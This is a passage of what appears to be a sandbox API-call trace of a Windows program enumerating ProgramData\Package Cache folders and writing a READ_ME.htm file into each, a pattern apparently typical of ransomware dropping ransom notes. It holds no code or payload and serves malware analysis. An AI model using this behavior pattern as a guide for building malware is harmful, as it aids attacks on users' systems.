ftLastWriteTime.dwLowDateTime=0x9c1b92d0, ftLastWriteTime.dwHighDateTime=0x1d706ab, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0 [0139.750] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0139.750] SetErrorMode (uMode=0x0) returned 0x1 [0139.750] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005", lpFilePart=0x0) returned 0x4e [0139.750] SetErrorMode (uMode=0x1) returned 0x0 [0139.750] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\*" (normalized: "c:\\programdata\\package cache\\{13a4ee12-23ea-3371-91ee-efb36ddfff3e}v12.0.21005\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9bf7de30, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x9c0163b0, ftLastAccessTime.dwHighDateTime=0x1d706ab, ftLastWriteTime.dwLowDateTime=0x9c0163b0, ftLastWriteTime.dwHighDateTime=0x1d706ab, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0139.750] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9bf7de30, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x9c0163b0, ftLastAccessTime.dwHighDateTime=0x1d706ab, ftLastWriteTime.dwLowDateTime=0x9c0163b0, ftLastWriteTime.dwHighDateTime=0x1d706ab, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.751] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9c0163b0, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x9c1b92d0, ftLastAccessTime.dwHighDateTime=0x1d706ab, ftLastWriteTime.dwLowDateTime=0x9c1b92d0, ftLastWriteTime.dwHighDateTime=0x1d706ab, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0139.751] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9c0163b0, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x9c1b92d0, ftLastAccessTime.dwHighDateTime=0x1d706ab, ftLastWriteTime.dwLowDateTime=0x9c1b92d0, ftLastWriteTime.dwHighDateTime=0x1d706ab, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0 [0139.751] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0139.751] SetErrorMode (uMode=0x0) returned 0x1 [0139.751] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages", lpFilePart=0x0) returned 0x57 [0139.751] SetErrorMode (uMode=0x1) returned 0x0 [0139.751] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\*" (normalized: "c:\\programdata\\package cache\\{13a4ee12-23ea-3371-91ee-efb36ddfff3e}v12.0.21005\\packages\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9c0163b0, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x9c1b92d0, ftLastAccessTime.dwHighDateTime=0x1d706ab, ftLastWriteTime.dwLowDateTime=0x9c1b92d0, ftLastWriteTime.dwHighDateTime=0x1d706ab, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0139.752] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9c0163b0, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x9c1b92d0, ftLastAccessTime.dwHighDateTime=0x1d706ab, ftLastWriteTime.dwLowDateTime=0x9c1b92d0, ftLastWriteTime.dwHighDateTime=0x1d706ab, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.752] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9c1b92d0, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x9c22b6f0, ftLastAccessTime.dwHighDateTime=0x1d706ab, ftLastWriteTime.dwLowDateTime=0x9c22b6f0, ftLastWriteTime.dwHighDateTime=0x1d706ab, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_x86", cAlternateFileName="VCRUNT~1")) returned 1 [0139.752] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9c1b92d0, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x9c22b6f0, ftLastAccessTime.dwHighDateTime=0x1d706ab, ftLastWriteTime.dwLowDateTime=0x9c22b6f0, ftLastWriteTime.dwHighDateTime=0x1d706ab, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_x86", cAlternateFileName="VCRUNT~1")) returned 0 [0139.752] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0139.752] SetErrorMode (uMode=0x0) returned 0x1 [0139.752] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages", lpFilePart=0x0) returned 0x57 [0139.753] SetErrorMode (uMode=0x1) returned 0x0 [0139.753] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\*" (normalized: "c:\\programdata\\package cache\\{13a4ee12-23ea-3371-91ee-efb36ddfff3e}v12.0.21005\\packages\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9c0163b0, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x9c1b92d0, ftLastAccessTime.dwHighDateTime=0x1d706ab, ftLastWriteTime.dwLowDateTime=0x9c1b92d0, ftLastWriteTime.dwHighDateTime=0x1d706ab, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0139.753] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9c0163b0, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x9c1b92d0, ftLastAccessTime.dwHighDateTime=0x1d706ab, ftLastWriteTime.dwLowDateTime=0x9c1b92d0, ftLastWriteTime.dwHighDateTime=0x1d706ab, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.753] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9c1b92d0, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x9c22b6f0, ftLastAccessTime.dwHighDateTime=0x1d706ab, ftLastWriteTime.dwLowDateTime=0x9c22b6f0, ftLastWriteTime.dwHighDateTime=0x1d706ab, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_x86", cAlternateFileName="VCRUNT~1")) returned 1 [0139.753] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9c1b92d0, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x9c22b6f0, ftLastAccessTime.dwHighDateTime=0x1d706ab, ftLastWriteTime.dwLowDateTime=0x9c22b6f0, ftLastWriteTime.dwHighDateTime=0x1d706ab, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_x86", cAlternateFileName="VCRUNT~1")) returned 0 [0139.753] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0139.753] SetErrorMode (uMode=0x0) returned 0x1 [0139.754] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86", lpFilePart=0x0) returned 0x6c [0139.754] SetErrorMode (uMode=0x1) returned 0x0 [0139.754] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\*" (normalized: "c:\\programdata\\package cache\\{13a4ee12-23ea-3371-91ee-efb36ddfff3e}v12.0.21005\\packages\\vcruntimeminimum_x86\\*"), lpFindFileData=0x21d130 | out: lpFindFileData=0x21d130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9c1b92d0, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x9c22b6f0, ftLastAccessTime.dwHighDateTime=0x1d706ab, ftLastWriteTime.dwLowDateTime=0x9c22b6f0, ftLastWriteTime.dwHighDateTime=0x1d706ab, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0139.755] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9c1b92d0, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x9c22b6f0, ftLastAccessTime.dwHighDateTime=0x1d706ab, ftLastWriteTime.dwLowDateTime=0x9c22b6f0, ftLastWriteTime.dwHighDateTime=0x1d706ab, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.755] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0b40d00, ftCreationTime.dwHighDateTime=0x1cf3e1e, ftLastAccessTime.dwLowDateTime=0xc0b40d00, ftLastAccessTime.dwHighDateTime=0x1cf3e1e, ftLastWriteTime.dwLowDateTime=0xc0b40d00, ftLastWriteTime.dwHighDateTime=0x1cf3e1e, nFileSizeHigh=0x0, nFileSizeLow=0xf36be, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1 [0139.755] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0b40d00, ftCreationTime.dwHighDateTime=0x1cf3e1e, ftLastAccessTime.dwLowDateTime=0xc0b40d00, ftLastAccessTime.dwHighDateTime=0x1cf3e1e, ftLastWriteTime.dwLowDateTime=0xc0b40d00, ftLastWriteTime.dwHighDateTime=0x1cf3e1e, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x86.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 1 [0139.755] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0b40d00, ftCreationTime.dwHighDateTime=0x1cf3e1e, ftLastAccessTime.dwLowDateTime=0xc0b40d00, ftLastAccessTime.dwHighDateTime=0x1cf3e1e, ftLastWriteTime.dwLowDateTime=0xc0b40d00, ftLastWriteTime.dwHighDateTime=0x1cf3e1e, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x86.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 0 [0139.755] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0139.755] SetErrorMode (uMode=0x0) returned 0x1 [0139.756] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86", lpFilePart=0x0) returned 0x6c [0139.756] SetErrorMode (uMode=0x1) returned 0x0 [0139.756] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\*" (normalized: "c:\\programdata\\package cache\\{13a4ee12-23ea-3371-91ee-efb36ddfff3e}v12.0.21005\\packages\\vcruntimeminimum_x86\\*"), lpFindFileData=0x21d130 | out: lpFindFileData=0x21d130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9c1b92d0, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x9c22b6f0, ftLastAccessTime.dwHighDateTime=0x1d706ab, ftLastWriteTime.dwLowDateTime=0x9c22b6f0, ftLastWriteTime.dwHighDateTime=0x1d706ab, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0139.756] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9c1b92d0, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x9c22b6f0, ftLastAccessTime.dwHighDateTime=0x1d706ab, ftLastWriteTime.dwLowDateTime=0x9c22b6f0, ftLastWriteTime.dwHighDateTime=0x1d706ab, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.756] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0b40d00, ftCreationTime.dwHighDateTime=0x1cf3e1e, ftLastAccessTime.dwLowDateTime=0xc0b40d00, ftLastAccessTime.dwHighDateTime=0x1cf3e1e, ftLastWriteTime.dwLowDateTime=0xc0b40d00, ftLastWriteTime.dwHighDateTime=0x1cf3e1e, nFileSizeHigh=0x0, nFileSizeLow=0xf36be, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1 [0139.756] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0b40d00, ftCreationTime.dwHighDateTime=0x1cf3e1e, ftLastAccessTime.dwLowDateTime=0xc0b40d00, ftLastAccessTime.dwHighDateTime=0x1cf3e1e, ftLastWriteTime.dwLowDateTime=0xc0b40d00, ftLastWriteTime.dwHighDateTime=0x1cf3e1e, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x86.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 1 [0139.756] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0b40d00, ftCreationTime.dwHighDateTime=0x1cf3e1e, ftLastAccessTime.dwLowDateTime=0xc0b40d00, ftLastAccessTime.dwHighDateTime=0x1cf3e1e, ftLastWriteTime.dwLowDateTime=0xc0b40d00, ftLastWriteTime.dwHighDateTime=0x1cf3e1e, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x86.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 0 [0139.756] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0139.756] SetErrorMode (uMode=0x0) returned 0x1 [0139.757] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ce30, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\READ_ME.htm", lpFilePart=0x0) returned 0x78 [0139.757] SetErrorMode (uMode=0x1) returned 0x0 [0139.757] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\READ_ME.htm" (normalized: "c:\\programdata\\package cache\\{13a4ee12-23ea-3371-91ee-efb36ddfff3e}v12.0.21005\\packages\\vcruntimeminimum_x86\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0139.757] SetErrorMode (uMode=0x0) returned 0x1 [0139.758] GetFileType (hFile=0x1d0) returned 0x1 [0139.758] WriteFile (in: hFile=0x1d0, lpBuffer=0x29630e8*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d398, lpOverlapped=0x0 | out: lpBuffer=0x29630e8*, lpNumberOfBytesWritten=0x21d398*=0x720, lpOverlapped=0x0) returned 1 [0139.759] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cef0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\READ_ME.htm", lpFilePart=0x0) returned 0x63 [0139.759] SetErrorMode (uMode=0x1) returned 0x0 [0139.759] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\READ_ME.htm" (normalized: "c:\\programdata\\package cache\\{13a4ee12-23ea-3371-91ee-efb36ddfff3e}v12.0.21005\\packages\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0139.760] SetErrorMode (uMode=0x0) returned 0x1 [0139.760] GetFileType (hFile=0x1d0) returned 0x1 [0139.760] WriteFile (in: hFile=0x1d0, lpBuffer=0x2967738*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d458, lpOverlapped=0x0 | out: lpBuffer=0x2967738*, lpNumberOfBytesWritten=0x21d458*=0x720, lpOverlapped=0x0) returned 1 [0139.761] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cfb0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\READ_ME.htm", lpFilePart=0x0) returned 0x5a [0139.762] SetErrorMode (uMode=0x1) returned 0x0 [0139.762] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\READ_ME.htm" (normalized: "c:\\programdata\\package cache\\{13a4ee12-23ea-3371-91ee-efb36ddfff3e}v12.0.21005\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0139.762] SetErrorMode (uMode=0x0) returned 0x1 [0139.762] GetFileType (hFile=0x1d0) returned 0x1 [0139.763] WriteFile (in: hFile=0x1d0, lpBuffer=0x296bd68*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d518, lpOverlapped=0x0 | out: lpBuffer=0x296bd68*, lpNumberOfBytesWritten=0x21d518*=0x720, lpOverlapped=0x0) returned 1 [0139.765] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{2BC3BD4D-FABA-4394-93C7-9AC82A263FE2}v14.25.28508", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{2BC3BD4D-FABA-4394-93C7-9AC82A263FE2}v14.25.28508", lpFilePart=0x0) returned 0x4f [0139.765] SetErrorMode (uMode=0x1) returned 0x0 [0139.765] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{2BC3BD4D-FABA-4394-93C7-9AC82A263FE2}v14.25.28508\\*" (normalized: "c:\\programdata\\package cache\\{2bc3bd4d-faba-4394-93c7-9ac82a263fe2}v14.25.28508\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93d701d0, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x93d96330, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0x93d96330, ftLastWriteTime.dwHighDateTime=0x1d706ac, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0139.766] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93d701d0, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x93d96330, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0x93d96330, ftLastWriteTime.dwHighDateTime=0x1d706ac, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.766] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93d96330, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x93d96330, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0x93d96330, ftLastWriteTime.dwHighDateTime=0x1d706ac, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0139.766] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93d96330, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x93d96330, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0x93d96330, ftLastWriteTime.dwHighDateTime=0x1d706ac, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0 [0139.766] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0139.766] SetErrorMode (uMode=0x0) returned 0x1 [0139.766] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{2BC3BD4D-FABA-4394-93C7-9AC82A263FE2}v14.25.28508", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{2BC3BD4D-FABA-4394-93C7-9AC82A263FE2}v14.25.28508", lpFilePart=0x0) returned 0x4f [0139.767] SetErrorMode (uMode=0x1) returned 0x0 [0139.767] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{2BC3BD4D-FABA-4394-93C7-9AC82A263FE2}v14.25.28508\\*" (normalized: "c:\\programdata\\package cache\\{2bc3bd4d-faba-4394-93c7-9ac82a263fe2}v14.25.28508\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93d701d0, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x93d96330, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0x93d96330, ftLastWriteTime.dwHighDateTime=0x1d706ac, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0139.767] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93d701d0, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x93d96330, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0x93d96330, ftLastWriteTime.dwHighDateTime=0x1d706ac, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.767] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93d96330, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x93d96330, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0x93d96330, ftLastWriteTime.dwHighDateTime=0x1d706ac, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0139.767] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93d96330, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x93d96330, ftLastAccessTime.dwHighDateTime=0x1d706ac, 